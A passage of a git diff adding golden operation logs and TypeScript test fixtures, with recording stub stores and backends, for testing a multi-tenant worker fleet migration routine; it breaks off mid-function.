+          'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa',
+        durableObjectBindings: [],
+        namespaceIds: [],
+      },
+      egressProxy: {
+        scriptName: 'worker-readysteady-egress-ab62bd5bf4ae76f23a5b',
+        artifactVersion: 'egress-v1',
+        artifactDigest:
+          'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb',
+        policyId: 'ab62bd5bf4ae76f23a5b',
+        policyHosts: ['api.example.test'],
+        policyDigest:
+          '008311f7e91a3a3de1d9684b4404deb1b8e2b3a3e3d7bdff33f010eaf677163a',
+      },
+    },
+    applicationBindings: { vars: [], secrets: [], r2Buckets: [] },
+    applicationResources: [],
+    settledSettlementKey:
+      'db2a02ad3af863decedc58561b6b1b5119f7c821b0a83d879416bd1ec2d186c5',
+    invocationAuthority: {
+      version: 1,
+      authorizedAt: '2026-06-01T00:00:00.000Z',
+    },
+  },
+] as const satisfies readonly FleetRecord[];
+
+/**
+ * `applyMigrations:verify` depends on the spec array's reference identity;
+ * a per-version slice can contain the same migrations.
+ */
+export const MIGRATION_SUCCESS_BASELINE_OPS = [
+  'withDeploymentLease',
+  'get',
+  'resolver:backendFor:extfull:production',
+  'resolver:specFor:extfull:production',
+  'resolver:secretsFor:extfull:production',
+  'releaseScriptName',
+  'describeExternalPlatformTarget',
+  'getDatabase',
+  'readDeploymentIdentity',
+  'put:migrating',
+  'assertOwned',
+  'seedDeploymentIdentity',
+  'assertOwned',
+  'applyMigrations:verify',
+  'put:schema-applied',
+  'assertOwned',
+  'ensurePlatformResources',
+  'put:migrating',
+  'put:platform-applied',
+  'put:migrating',
+  'put:migrating',
+  'assertOwned',
+  'deployWorker',
+  'inspect',
+  'put:candidate-deployed',
+  'assertOwned',
+  'ensureMaintenance',
+  'put:candidate-armed',
+  'inspect',
+  'assertOwned',
+  'promoteWorker',
+  'put:route-published',
+  'inspect',
+  'resolver:settlementFor:extfull:production',
+  'attestActiveRoute',
+  'settle:0b32b3081b897947a1db852b033a86fad2e38700dc2824e91cc292904e642b6c',
+  'put:ready',
+  'assertOwned',
+  'deleteRetainedRelease',
+  'put:ready',
+  'withDeploymentLease',
+  'get',
+  'resolver:backendFor:plainmulti:production',
+  'resolver:specFor:plainmulti:production',
+  'resolver:secretsFor:plainmulti:production',
+  'getDatabase',
+  'readDeploymentIdentity',
+  'put:migrating',
+  'assertOwned',
+  'seedDeploymentIdentity',
+  'assertOwned',
+  'applyMigrations:2',
+  'put:migrating',
+  'assertOwned',
+  'applyMigrations:3',
+  'put:migrating',
+  'inspect',
+  'put:migrating',
+  'assertOwned',
+  'deployWorker',
+  'inspect',
+  'put:migrating',
+  'assertOwned',
+  'ensureMaintenance',
+  'inspect',
+  'assertOwned',
+  'promoteWorker',
+  'inspect',
+  'resolver:settlementFor:plainmulti:production',
+  'attestActiveRoute',
+  'settle:2c4bf4db5f076b148e247b473983a304137a0ff1a1a5e717ecc9b148f10e7d11',
+  'put:ready',
+  'withDeploymentLease',
+  'get',
+  'resolver:backendFor:platformonly:production',
+  'resolver:specFor:platformonly:production',
+  'resolver:secretsFor:platformonly:production',
+  'releaseScriptName',
+  'describeExternalPlatformTarget',
+  'getDatabase',
+  'readDeploymentIdentity',
+  'put:migrating',
+  'put:schema-applied',
+  'assertOwned',
+  'ensurePlatformResources',
+  'put:migrating',
+  'put:platform-applied',
+  'inspect',
+  'put:migrating',
+  'assertOwned',
+  'ensureMaintenance',
+  'inspect',
+  'assertOwned',
+  'promoteWorker',
+  'put:route-published',
+  'inspect',
+  'resolver:settlementFor:platformonly:production',
+  'attestActiveRoute',
+  'settle:be9c10cc1282c29405ae83ce4aea196b0d2aeea40968af5815a0d5cdafa9f066',
+  'put:ready',
+  'withDeploymentLease',
+  'get',
+  'resolver:backendFor:readysteady:production',
+  'resolver:specFor:readysteady:production',
+  'resolver:secretsFor:readysteady:production',
+  'releaseScriptName',
+  'describeExternalPlatformTarget',
+  'getDatabase',
+  'readDeploymentIdentity',
+  'assertOwned',
+  'deleteRetainedRelease',
+  'put:ready',
+  'assertOwned',
+  'ensurePlatformResources',
+  'inspect',
+  'put:ready',
+  'assertOwned',
+  'ensureMaintenance',
+  'assertOwned',
+  'promoteWorker',
+  'resolver:settlementFor:readysteady:production',
+  'attestActiveRoute',
+] as const satisfies readonly MigrationOpLogEntry[];
+
+export const MIGRATION_STOP_BASELINE_ERROR =
+  "deployment 'bravo:production' has active backend switch 'candidate-deploy-authorized'" as const satisfies string;
+
+export const MIGRATION_STOP_BASELINE_OPS = [
+  'withDeploymentLease',
+  'get',
+  'resolver:backendFor:alpha:production',
+  'resolver:specFor:alpha:production',
+  'resolver:secretsFor:alpha:production',
+  'getDatabase',
+  'readDeploymentIdentity',
+  'put:migrating',
+  'assertOwned',
+  'seedDeploymentIdentity',
+  'assertOwned',
+  'applyMigrations:2',
+  'put:migrating',
+  'inspect',
+  'put:migrating',
+  'assertOwned',
+  'deployWorker',
+  'inspect',
+  'put:migrating',
+  'assertOwned',
+  'ensureMaintenance',
+  'inspect',
+  'assertOwned',
+  'promoteWorker',
+  'inspect',
+  'resolver:settlementFor:alpha:production',
+  'attestActiveRoute',
+  'settle:fed662c15639242a95f2a01b42394e5ce93bfdacc9891bf9d3582d10d16c6df8',
+  'put:ready',
+  'withDeploymentLease',
+  'get',
+] as const satisfies readonly MigrationOpLogEntry[];
diff --git a/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts b/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts
new file mode 100644
index 00000000..53cb255b
--- /dev/null
+++ b/packages/fleet-control/test/fixtures/fleet-migration-worlds.ts
@@ -0,0 +1,1165 @@
+// SPDX-License-Identifier: Apache-2.0
+
+import type { AttestConvergedActiveRouteOptions } from '../../src/active-route.js';
+import { migrateFleet } from '../../src/fleet.js';
+import {
+  canonicalDeploymentEgressPolicy,
+  externalEgressProxyScriptName,
+  externalPlatformResourceGroupId,
+  externalStateScriptName,
+} from '../../src/platform-resources.js';
+import { providerBindingIdentitiesForInspection } from '../../src/provider-binding-inventory.js';
+import { fleetSettlementKey } from '../../src/settlement.js';
+import { deploymentSpecDigest } from '../../src/spec-digest.js';
+import type {
+  ActiveRouteAttestation,
+  ApplicationBindingTopology,
+  D1Migration,
+  DatabaseReference,
+  DeploymentEgressPolicy,
+  DeploymentSecrets,
+  DeploymentSpec,
+  ExternalMutationFence,
+  ExternalPlatformResources,
+  ExternalPlatformTargetDescription,
+  ExternalReleaseSnapshot,
+  FleetRecord,
+  FleetSettlementContext,
+  FleetSettlementHost,
+  FleetStateLease,
+  FleetStateStore,
+  LiveDeployment,
+  MaintenanceHealth,
+  PromotionGuard,
+  ProvisioningBackend,
+  ProvisioningBackendKind,
+} from '../../src/types.js';
+import { externalReleaseScriptName } from '../../src/workers-for-platforms-backend.js';
+
+const ENVIRONMENT = 'production';
+
+const MIGRATION_NOW = Date.parse('2026-06-01T00:00:00.000Z');
+const FROZEN_UPDATED_AT = new Date(MIGRATION_NOW).toISOString();
+const MIGRATION_CLOCK = () => MIGRATION_NOW;
+
+const ORIGIN_UPDATED_AT = '2026-05-01T00:00:00.000Z';
+
+const MAINTENANCE_PUBLIC_KEY =
+  '{"kty":"OKP","crv":"Ed25519","alg":"EdDSA","kid":"fleet-maintenance-v1","x":"Lhp1XFeTJJx8FLOCKpn4nkO-tWuZZxXX8ziw0LEvUZo"}';
+
+const STATE_ARTIFACT_DIGEST = 'a'.repeat(64);
+const MOVED_STATE_ARTIFACT_DIGEST = 'd'.repeat(64);
+const EGRESS_ARTIFACT_DIGEST = 'b'.repeat(64);
+const STATE_DURABLE_OBJECT_HISTORY_DIGEST = 'c'.repeat(64);
+const PLATFORM_ONLY_PRIOR_D1_HISTORY_DIGEST = 'f'.repeat(64);
+
+const HEALTHY_MAINTENANCE: MaintenanceHealth = {
+  armed: true,
+  nextAlarmAt: MIGRATION_NOW + 60_000,
+  lastSweepAt: MIGRATION_NOW - 60_000,
+  lastPurgeAt: MIGRATION_NOW - 60_000,
+};
+
+const UNARMED_MAINTENANCE: MaintenanceHealth = {
+  armed: false,
+  nextAlarmAt: null,
+  lastSweepAt: null,
+  lastPurgeAt: null,
+};
+
+const EMPTY_APPLICATION: ApplicationBindingTopology = {
+  vars: [],
+  secrets: [],
+  r2Buckets: [],
+};
+
+const D1_MIGRATIONS: readonly D1Migration[] = [
+  { version: 1, sql: 'CREATE TABLE example (id TEXT PRIMARY KEY)' },
+  {
+    version: 2,
+    sql: 'ALTER TABLE example ADD COLUMN value TEXT',
+    rollbackCompatible: true,
+  },
+  {
+    version: 3,
+    sql: 'ALTER TABLE example ADD COLUMN expanded TEXT',
+    rollbackCompatible: true,
+  },
+];
+
+export type MigrationOpLogEntry =
+  | 'withDeploymentLease'
+  | 'get'
+  | 'assertOwned'
+  | 'releaseScriptName'
+  | 'getDatabase'
+  | 'readDeploymentIdentity'
+  | 'seedDeploymentIdentity'
+  | 'ensurePlatformResources'
+  | 'describeExternalPlatformTarget'
+  | 'describeFinalizedState'
+  | 'describeFinalizedBridgeTarget'
+  | 'assertFinalizedState'
+  | 'ensureFinalizedState'
+  | 'commitFinalizedOwnership'
+  | 'deployWorker'
+  | 'promoteWorker'
+  | 'ensureMaintenance'
+  | 'inspect'
+  | 'attestActiveRoute'
+  | 'deleteRetainedRelease'
+  | `put:${string}`
+  | `resolver:${string}`
+  | `applyMigrations:${string}`
+  | `settle:${string}`;
+
+function deploymentKey(record: {
+  readonly tenantTag: string;
+  readonly environment: string;
+}): string {
+  return `${record.tenantTag}:${record.environment}`;
+}
+
+function secretsForTenant(tenantTag: string): DeploymentSecrets {
+  return {
+    deploymentIdentity: `deployment-identity-secret-${tenantTag}-00000001`,
+    maintenanceAdmin: `maintenance-admin-secret-${tenantTag}-00000001`,
+  };
+}
+
+function putToken(
+  previous: FleetRecord | undefined,
+  next: FleetRecord,
+): string {
+  if (!previous) return next.phase;
+  if (next.phase !== previous.phase) return next.phase;
+  const migrationSubphase = next.migrationIntent?.subphase;
+  if (
+    migrationSubphase !== undefined &&
+    migrationSubphase !== previous.migrationIntent?.subphase
+  ) {
+    return migrationSubphase;
+  }
+  // Distinct reconcile tokens expose an unexpected reconciliation path.
+  const reconcileSubphase =
+    next.backendSwitchIntent?.stateReconcileIntent?.subphase;
+  if (
+    reconcileSubphase !== undefined &&
+    reconcileSubphase !==
+      previous.backendSwitchIntent?.stateReconcileIntent?.subphase
+  ) {
+    return reconcileSubphase;
+  }
+  return next.phase;
+}
+
+class RecordingFleetStore implements FleetStateStore {
+  readonly #records = new Map<string, FleetRecord>();
+  readonly #ops: MigrationOpLogEntry[];
+  readonly #fenceViolations: string[];
+
+  constructor(
+    records: readonly FleetRecord[],
+    ops: MigrationOpLogEntry[],
+    fenceViolations: string[],
+  ) {
+    this.#ops = ops;
+    this.#fenceViolations = fenceViolations;
+    for (const record of records) {
+      this.#records.set(deploymentKey(record), record);
+    }
+  }
+
+  async withDeploymentLease<T>(
+    tenantTag: string,
+    environment: string,
+    operation: (lease: FleetStateLease) => Promise<T>,
+  ): Promise<T> {
+    this.#ops.push('withDeploymentLease');
+    const key = deploymentKey({ tenantTag, environment });
+    return operation({
+      tenantTag,
+      environment,
+      mutationLeaseTtlMs: 900_000,
+      assertOwned: async () => {
+        this.#ops.push('assertOwned');
+      },
+      renew: async () => {
+        throw new Error('unused');
+      },
+      put: async (record) => {
+        // Recording the fault keeps the stop runner from accepting it as a
+        // migration refusal.
+        if (record.updatedAt !== FROZEN_UPDATED_AT) {
+          const message = `put payload updatedAt '${record.updatedAt}' for '${key}' does not match the frozen migration clock`;
+          this.#fenceViolations.push(message);
+          throw new Error(message);
+        }
+        if (deploymentKey(record) !== key) {
+          const message = `put payload for '${deploymentKey(record)}' arrived under the lease for '${key}'`;
+          this.#fenceViolations.push(message);
+          throw new Error(message);
+        }
+        this.#ops.push(`put:${putToken(this.#records.get(key), record)}`);
+        this.#records.set(key, record);
+      },
+      delete: async () => {
+        throw new Error('unused');
+      },
+      completeCleanup: async () => {
+        throw new Error('unused');
+      },
+      deleteReleasingClaims: async () => {
+        throw new Error('unused');
+      },
+    });
+  }
+
+  async get(
+    tenantTag: string,
+    environment: string,
+  ): Promise<FleetRecord | undefined> {
+    this.#ops.push('get');
+    return this.#records.get(deploymentKey({ tenantTag, environment }));
+  }
+
+  async list(): Promise<never> {
+    throw new Error('unused');
+  }
+
+  async readCleanupReceipt(): Promise<never> {
+    throw new Error('unused');
+  }
+
+  async pruneCleanupReceipts(): Promise<never> {
+    throw new Error('unused');
+  }
+}
+
+class RecordingPlainBackend implements ProvisioningBackend {
+  readonly kind: ProvisioningBackendKind = 'plain-worker';
+  protected readonly ops: MigrationOpLogEntry[];
+  protected readonly specsByDatabaseId: ReadonlyMap<string, DeploymentSpec>;
+  protected readonly fenceViolations: string[];
+  protected readonly live = new Map<string, LiveDeployment>();
+  protected readonly routed = new Map<string, ActiveRouteAttestation>();
+
+  constructor(
+    ops: MigrationOpLogEntry[],
+    specsByDatabaseId: ReadonlyMap<string, DeploymentSpec>,
+    fenceViolations: string[],
+  ) {
+    this.ops = ops;
+    this.specsByDatabaseId = specsByDatabaseId;
+    this.fenceViolations = fenceViolations;
+  }
+
+  protected assertOwnCredential(
+    spec: DeploymentSpec,
+    secret: string,
+    credential: 'maintenanceAdmin' | 'deploymentIdentity' = 'maintenanceAdmin',
+  ): void {
+    const expected = secretsForTenant(spec.tenantTag)[credential];
+    if (secret !== expected) {
+      const label =
+        credential === 'maintenanceAdmin'
+          ? 'maintenance'
+          : 'deployment identity';
+      const message = `${label} credential for '${deploymentKey(spec)}' reached a call for another deployment`;
+      this.fenceViolations.push(message);
+      throw new Error(message);
+    }
+  }
+
+  seedLive(tenantTag: string, live: LiveDeployment): void {
+    this.live.set(tenantTag, live);
+  }
+
+  async findDatabase(): Promise<never> {
+    throw new Error('unused');
+  }
+
+  async getDatabase(databaseId: string): Promise<DatabaseReference> {
+    this.ops.push('getDatabase');
+    return {
+      id: databaseId,
+      name: `database-${databaseId.replace(/^db-/u, '')}`,
+      created: false,
+    };
+  }
+
+  async ensureDatabase(): Promise<never> {
+    throw new Error('unused');
+  }
+
+  async seedDeploymentIdentity(): Promise<void> {
+    this.ops.push('seedDeploymentIdentity');
+  }
+
+  async readDeploymentIdentity(
+    database: DatabaseReference,
+  ): Promise<string | undefined> {
+    this.ops.push('readDeploymentIdentity');
+    return database.id.replace(/^db-/u, '');
+  }
+
+  async applyMigrations(
+    database: DatabaseReference,
+    migrations: readonly D1Migration[],
+  ): Promise<void> {
+    const spec = this.specsByDatabaseId.get(database.id);
+    if (!spec) {
+      throw new Error(`no spec fixture for database '${database.id}'`);
+    }
+    // `verify` means the caller passed the spec's own array, so the token is
+    // decided by reference identity. The final per-version slice can equal
+    // `spec.migrations` by content and by length, so a content or length
+    // comparison here would relabel that slice as a verify pass and change
+    // what the recorded operation means — a token the goldens freeze.
+    this.ops.push(
+      migrations === spec.migrations
+        ? 'applyMigrations:verify'
+        : `applyMigrations:${migrations.length}`,
+    );
+  }
+
+  async deployWorker(
+    spec: DeploymentSpec,
+    database: DatabaseReference,
+    secrets: DeploymentSecrets,
+    _platformResources: ExternalPlatformResources | undefined,
+    _fence: ExternalMutationFence,
+    _expectedArtifactVersion: string | undefined,
+    application?: ApplicationBindingTopology,
+  ): Promise<Readonly<{ artifactVersion: string; created: boolean }>> {
+    this.ops.push('deployWorker');
+    this.assertOwnCredential(
+      spec,
+      secrets.deploymentIdentity,
+      'deploymentIdentity',
+    );
+    this.assertOwnCredential(spec, secrets.maintenanceAdmin);
+    const artifactVersion = `v${spec.schemaVersion}`;
+    this.live.set(
+      spec.tenantTag,
+      liveDeployment({
+        tenantTag: spec.tenantTag,
+        environment: spec.environment,
+        scriptName: spec.scriptName,
+        databaseId: database.id,
+        durableObjectBindings: [],
+        serviceBindings: [],
+        queueProducerBindings: [],
+        plainTextBindings: {},
+        secretNames: [
+          'DEPLOYMENT_IDENTITY_SECRET',
+          ...(spec.authoredBy === 'platform'
+            ? ['MAINTENANCE_ADMIN_SECRET']
+            : []),
+          ...(application?.secrets ?? []).map(({ name }) => name),
+        ].sort(),
+        artifactVersion,
+        desiredSpecDigest: deploymentSpecDigest(spec),
+        schemaVersion: spec.schemaVersion,
+        maintenance: HEALTHY_MAINTENANCE,
+      }),
+    );
+    return { artifactVersion, created: false };
+  }
+
+  async promoteWorker(
+    spec: DeploymentSpec,
+    _guard: PromotionGuard,
+    _outboundPolicy: DeploymentEgressPolicy | undefined,
+    _fence: ExternalMutationFence,
+    expectedArtifactVersion: string | undefined,
+  ): Promise<void> {
+    this.ops.push('promoteWorker');
+    this.routed.set(spec.tenantTag, {
+      specDigest: deploymentSpecDigest(spec),
+      artifactVersion:
+        expectedArtifactVersion ??
+        this.live.get(spec.tenantTag)?.artifactVersion ??
+        `v${spec.schemaVersion}`,
+      physicalScriptName: spec.scriptName,
+      source: 'workers-deployments',
+      observedAt: FROZEN_UPDATED_AT,
+    });
+  }
+
+  async ensureMaintenance(
+    spec: DeploymentSpec,
+    maintenanceAdminSecret: string,
+  ): Promise<MaintenanceHealth> {
+    this.ops.push('ensureMaintenance');
+    this.assertOwnCredential(spec, maintenanceAdminSecret);
+    const live = this.live.get(spec.tenantTag);
+    if (live) {
+      this.live.set(spec.tenantTag, {
+        ...live,
+        maintenance: HEALTHY_MAINTENANCE,
+      });
+    }
+    return HEALTHY_MAINTENANCE;
+  }
+
+  async inspect(
+    spec: DeploymentSpec,
+    maintenanceAdminSecret: string,
+  ): Promise<LiveDeployment | undefined> {
+    this.ops.push('inspect');
+    this.assertOwnCredential(spec, maintenanceAdminSecret);
+    return this.live.get(spec.tenantTag);
+  }
+
+  async attestActiveRoute(
+    spec: DeploymentSpec,
+  ): Promise<ActiveRouteAttestation> {
+    this.ops.push('attestActiveRoute');
+    const attestation = this.routed.get(spec.tenantTag);
+    if (!attestation) throw new Error(`no route serves '${spec.tenantTag}'`);
+    return attestation;
+  }
+
+  async removeTraffic(): Promise<never> {
+    throw new Error('unused');
+  }
+
+  async assertTrafficRemoved(): Promise<never> {
+    throw new Error('unused');
+  }
+
+  async revokeCredentials(): Promise<never> {
+    throw new Error('unused');
+  }
+
+  async deleteWorker(): Promise<never> {
+    throw new Error('unused');
+  }
+
+  async assertDatabaseDetached(): Promise<never> {
+    throw new Error('unused');
+  }
+
+  async exportDatabase(): Promise<never> {
+    throw new Error('unused');
+  }
+
+  async deleteDatabase(): Promise<never> {
+    throw new Error('unused');
+  }
+}
+
+// Feature detection distinguishes absent capabilities from methods that throw.
+class RecordingImmutableBackend extends RecordingPlainBackend {
+  override readonly kind: ProvisioningBackendKind = 'workers-for-platforms';
+  readonly immutableExternalArtifacts = true as const;
+  readonly releases = new Map<string, LiveDeployment>();
+  readonly routedScriptNames = new Map<string, string>();
+  readonly stateArtifactDigest: string;
+  readonly policyHosts: readonly string[];
+
+  constructor(
+    ops: MigrationOpLogEntry[],
+    specsByDatabaseId: ReadonlyMap<string, DeploymentSpec>,
+    fenceViolations: string[],
+    profile: Readonly<{
+      stateArtifactDigest: string;
+      policyHosts: readonly string[];
+    }> = {
+      stateArtifactDigest: STATE_ARTIFACT_DIGEST,
+      policyHosts: ['api.example.test'],
+    },
+  ) {
+    super(ops, specsByDatabaseId, fenceViolations);
+    this.stateArtifactDigest = profile.stateArtifactDigest;
+    this.policyHosts = [...profile.policyHosts];
+  }
+
+  releaseScriptName(spec: DeploymentSpec): string {
+    this.ops.push('releaseScriptName');
+    return externalReleaseScriptName(spec);
+  }
+
+  describeExternalPlatformTarget(
+    spec: DeploymentSpec,
+  ): ExternalPlatformTargetDescription {
+    this.ops.push('describeExternalPlatformTarget');
+    return this.platformTargetFor(spec);
+  }
+
+  platformTargetFor(spec: DeploymentSpec): ExternalPlatformTargetDescription {
+    return {
+      maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY,
+      stateArtifactDigest: this.stateArtifactDigest,
+      stateDurableObjectHistoryDigest: STATE_DURABLE_OBJECT_HISTORY_DIGEST,
+      egressArtifactDigest: EGRESS_ARTIFACT_DIGEST,
+      d1SchemaVersion: spec.schemaVersion,
+      d1SchemaHistoryDigest: deploymentSpecDigest(spec),
+      outboundPolicy: canonicalDeploymentEgressPolicy({
+        policyId: externalPlatformResourceGroupId(spec),
+        tenantTag: spec.tenantTag,
+        environment: spec.environment,
+        allowedHosts: this.policyHosts,
+      }),
+    };
+  }
+
+  platformResourcesFor(spec: DeploymentSpec): ExternalPlatformResources {
+    const target = this.platformTargetFor(spec);
+    return {
+      maintenanceCapabilityPublicKey: MAINTENANCE_PUBLIC_KEY,
+      stateWorker: {
+        scriptName: externalStateScriptName(spec),
+        artifactVersion: 'state-v1',
+        artifactDigest: target.stateArtifactDigest,
+        durableObjectBindings: [],
+        namespaceIds: [],
+      },
+      egressProxy: {
+        scriptName: externalEgressProxyScriptName(spec),
+        artifactVersion: 'egress-v1',
+        artifactDigest: EGRESS_ARTIFACT_DIGEST,
+        ...target.outboundPolicy,
+      },
+    };
+  }
+
+  async ensurePlatformResources(spec: DeploymentSpec): Promise<
+    Readonly<{
+      resources: ExternalPlatformResources;
+      created: Readonly<{ stateWorker: boolean; egressProxy: boolean }>;
+    }>
+  > {
+    this.ops.push('ensurePlatformResources');
+    return {
+      resources: this.platformResourcesFor(spec),
+      created: { stateWorker: false, egressProxy: false },
+    };
+  }
+
+  override async deployWorker(
+    spec: DeploymentSpec,
+    database: DatabaseReference,
+    secrets: DeploymentSecrets,
+    _platformResources: ExternalPlatformResources | undefined,
+    _fence: ExternalMutationFence,
+    _expectedArtifactVersion: string | undefined,
+    application?: ApplicationBindingTopology,
+  ): Promise<
+    Readonly<{
+      artifactVersion: string;
+      created: boolean;
+      physicalScriptName: string;
+    }>
+  > {
+    this.ops.push('deployWorker');
+    this.assertOwnCredential(
+      spec,
+      secrets.deploymentIdentity,
+      'deploymentIdentity',
+    );
+    this.assertOwnCredential(spec, secrets.maintenanceAdmin);
+    const physicalScriptName = externalReleaseScriptName(spec);
+    const existing = this.releases.get(physicalScriptName);
+    if (!existing) {
+      this.releases.set(
+        physicalScriptName,
+        liveDeployment({
+          tenantTag: spec.tenantTag,
+          environment: spec.environment,
+          scriptName: physicalScriptName,
+          databaseId: database.id,
+          durableObjectBindings: [],
+          serviceBindings: [],
+          queueProducerBindings: [],
+          plainTextBindings: {},
+          secretNames: [
+            'DEPLOYMENT_IDENTITY_SECRET',
+            ...(application?.secrets ?? []).map(({ name }) => name),
+          ].sort(),
+          artifactVersion: `etag:${physicalScriptName}`,
+          desiredSpecDigest: deploymentSpecDigest(spec),
+          schemaVersion: spec.schemaVersion,
+          maintenance: HEALTHY_MAINTENANCE,
+        }),
+      );
+    }
+    return {
+      artifactVersion: `etag:${physicalScriptName}`,
+      created: !existing,
+      physicalScriptName,
+    };
+  }
+
+  override async promoteWorker(
+    spec: DeploymentSpec,
+    guard: PromotionGuard,
+  ): Promise<void> {
+    this.ops.push('promoteWorker');
+    const physical = externalReleaseScriptName(spec);
+    const routed = this.routedScriptNames.get(spec.tenantTag);
+    if (
+      (routed === undefined && !guard.allowUnrouted) ||
+      (routed !== undefined &&
+        !guard.allowedCurrentScriptNames.includes(routed))
+    ) {
+      throw new Error('route changed after lifecycle intent was persisted');
+    }
+    this.routedScriptNames.set(spec.tenantTag, physical);
+  }
+
+  override async ensureMaintenance(
+    spec: DeploymentSpec,
+    maintenanceAdminSecret: string,
+  ): Promise<MaintenanceHealth> {
+    this.ops.push('ensureMaintenance');
+    this.assertOwnCredential(spec, maintenanceAdminSecret);
+    const physical = externalReleaseScriptName(spec);
+    const release = this.releases.get(physical);
+    if (release) {
+      this.releases.set(physical, {
+        ...release,
+        maintenance: HEALTHY_MAINTENANCE,
+      });
+    }
+    return HEALTHY_MAINTENANCE;
+  }
+
+  override async inspect(
+    spec: DeploymentSpec,
+    maintenanceAdminSecret: string,
+  ): Promise<LiveDeployment | undefined> {
+    this.ops.push('inspect');
+    this.assertOwnCredential(spec, maintenanceAdminSecret);
+    return this.releases.get(externalReleaseScriptName(spec));
+  }
+
+  override async attestActiveRoute(
+    spec: DeploymentSpec,
+  ): Promise<ActiveRouteAttestation> {
+    this.ops.push('attestActiveRoute');
+    const routed = this.routedScriptNames.get(spec.tenantTag);
+    const release = routed ? this.releases.get(routed) : undefined;
+    if (!routed || !release) {
+      throw new Error(`no release serves '${spec.routeHostname}'`);
+    }
+    return {
+      specDigest: release.desiredSpecDigest,
+      artifactVersion: release.artifactVersion,
+      physicalScriptName: routed,
+      source: 'dispatch-route',
+      observedAt: FROZEN_UPDATED_AT,
+    };
+  }
+
+  async deleteRetainedRelease(
+    _spec: DeploymentSpec,
+    release: ExternalReleaseSnapshot,
+  ): Promise<void> {
+    this.ops.push('deleteRetainedRelease');
+    this.releases.delete(release.physicalScriptName);
+  }
+}
+
+class RecordingSettlementHost implements FleetSettlementHost {
+  readonly #ops: MigrationOpLogEntry[];
+
+  constructor(ops: MigrationOpLogEntry[]) {
+    this.#ops = ops;
+  }
+
+  async settle(context: FleetSettlementContext): Promise<void> {
+    this.#ops.push(`settle:${context.settlementKey}`);
+  }
+}
+
+function liveDeployment(
+  live: Omit<LiveDeployment, 'providerBindingIdentities'>,
+): LiveDeployment {
+  return {
+    ...live,
+    providerBindingIdentities: providerBindingIdentitiesForInspection({
+      ...live,
+      databaseIds: [live.databaseId],
+    }),
+  };
+}
+
+function baseSpec(
+  tenantTag: string,
+  overrides: Partial<DeploymentSpec> = {},
+): DeploymentSpec {
+  const schemaVersion = overrides.schemaVersion ?? 1;
+  return {
+    tenantTag,
+    environment: ENVIRONMENT,
+    scriptName: `worker-${tenantTag}`,
+    databaseName: `database-${tenantTag}`,
+    compatibilityDate: '2026-05-01',
+    mainModule: 'worker.js',
+    modules: [{ name: 'worker.js', content: 'export default {}' }],
+    authoredBy: 'external',
+    schemaVersion,
+    migrations: D1_MIGRATIONS.slice(0, schemaVersion),
+    durableObjectMigrations: [],
+    durableObjectBindings: [],
+    maintenanceBaseUrl: `https://control-worker-${tenantTag}.example.test`,
+    routeHostname: `worker-${tenantTag}.example.test`,
+    ...overrides,
+  };
+}
+
+// `phase` defaults to `ready` here, and the worlds below admit from it. A
+// `ready` admission exercises the interaction contract the goldens freeze —
+// the ordered provider calls and the committed records — and not the
+// synchronous admission guards: a golden run stays green with one of those
+// guards removed. The compensating control for the guards is
+// `test/fleet.test.ts` plus `pnpm run architecture:check`; the migrating-phase
+// retry admission in `fleet.ts`, which a `ready` admission never reaches, is
+// pinned in `test/fleet-migration-advance.test.ts`.
+function baseRecord(
+  tenantTag: string,
+  backend: ProvisioningBackendKind,
+  overrides: Partial<FleetRecord> = {},
+): FleetRecord {
+  return {
+    tenantTag,
+    backend,
+    environment: ENVIRONMENT,
+    scriptName: `worker-${tenantTag}`,
+    databaseId: `db-${tenantTag}`,
+    databaseName: `database-${tenantTag}`,
+    schemaVersion: 1,
+    artifactVersion: 'v1',
+    desiredSpecDigest: 'e'.repeat(64),
+    durableObjectBindings: [],
+    routeHostname: `worker-${tenantTag}.example.test`,
+    phase: 'ready',
+    updatedAt: ORIGIN_UPDATED_AT,
+    ...overrides,
+  };
+}
+
+function externalRelease(
+  spec: DeploymentSpec,
+  overrides: Partial<ExternalReleaseSnapshot> = {},
+): ExternalReleaseSnapshot {
+  const physicalScriptName = externalReleaseScriptName(spec);
+  return {
+    physicalScriptName,
+    specDigest: deploymentSpecDigest(spec),
+    artifactVersion: `etag:${physicalScriptName}`,
+    releaseSchemaVersion: spec.schemaVersion,
+    application: EMPTY_APPLICATION,
+    ...overrides,
+  };
+}
+
+function seededRelease(
+  spec: DeploymentSpec,
+  record: FleetRecord,
+  maintenance: MaintenanceHealth = HEALTHY_MAINTENANCE,
+): LiveDeployment {
+  const physicalScriptName = externalReleaseScriptName(spec);
+  return liveDeployment({
+    tenantTag: spec.tenantTag,
+    environment: spec.environment,
+    scriptName: physicalScriptName,
+    databaseId: record.databaseId,
+    durableObjectBindings: [],
+    serviceBindings: [],
+    queueProducerBindings: [],
+    plainTextBindings: {},
+    secretNames: ['DEPLOYMENT_IDENTITY_SECRET'],
+    artifactVersion: `etag:${physicalScriptName}`,
+    desiredSpecDigest: deploymentSpecDigest(spec),
+    schemaVersion: spec.schemaVersion,
+    maintenance,
+  });
+}
+
+interface WorldRun {
+  readonly records: readonly FleetRecord[];
+  readonly specs: ReadonlyMap<string, DeploymentSpec>;
+  readonly backends: ReadonlyMap<string, ProvisioningBackend>;
+  readonly ops: MigrationOpLogEntry[];
+  readonly fenceViolations: string[];
+}
+
+async function runWorld(world: WorldRun): Promise<readonly FleetRecord[]> {
+  const store = new RecordingFleetStore(
+    world.records,
+    world.ops,
+    world.fenceViolations,
+  );
+  const settlementHost = new RecordingSettlementHost(world.ops);
+  const resolve = <Value>(
+    kind: string,
+    record: FleetRecord,
+    source: ReadonlyMap<string, Value>,
+  ): Value => {
+    const key = deploymentKey(record);
+    world.ops.push(`resolver:${kind}:${key}`);
+    const value = source.get(key);
+    if (value === undefined) {
+      throw new Error(`no ${kind} fixture for '${key}'`);
+    }
+    return value;
+  };
+  return migrateFleet({
+    store,
+    records: world.records,
+    canaryTenantTags: [],
+    backendFor: (record) => resolve('backendFor', record, world.backends),
+    specFor: (record) => resolve('specFor', record, world.specs),
+    secretsFor: (record) => {
+      world.ops.push(`resolver:secretsFor:${deploymentKey(record)}`);
+      return secretsForTenant(record.tenantTag);
+    },
+    settlementFor: (record) => {
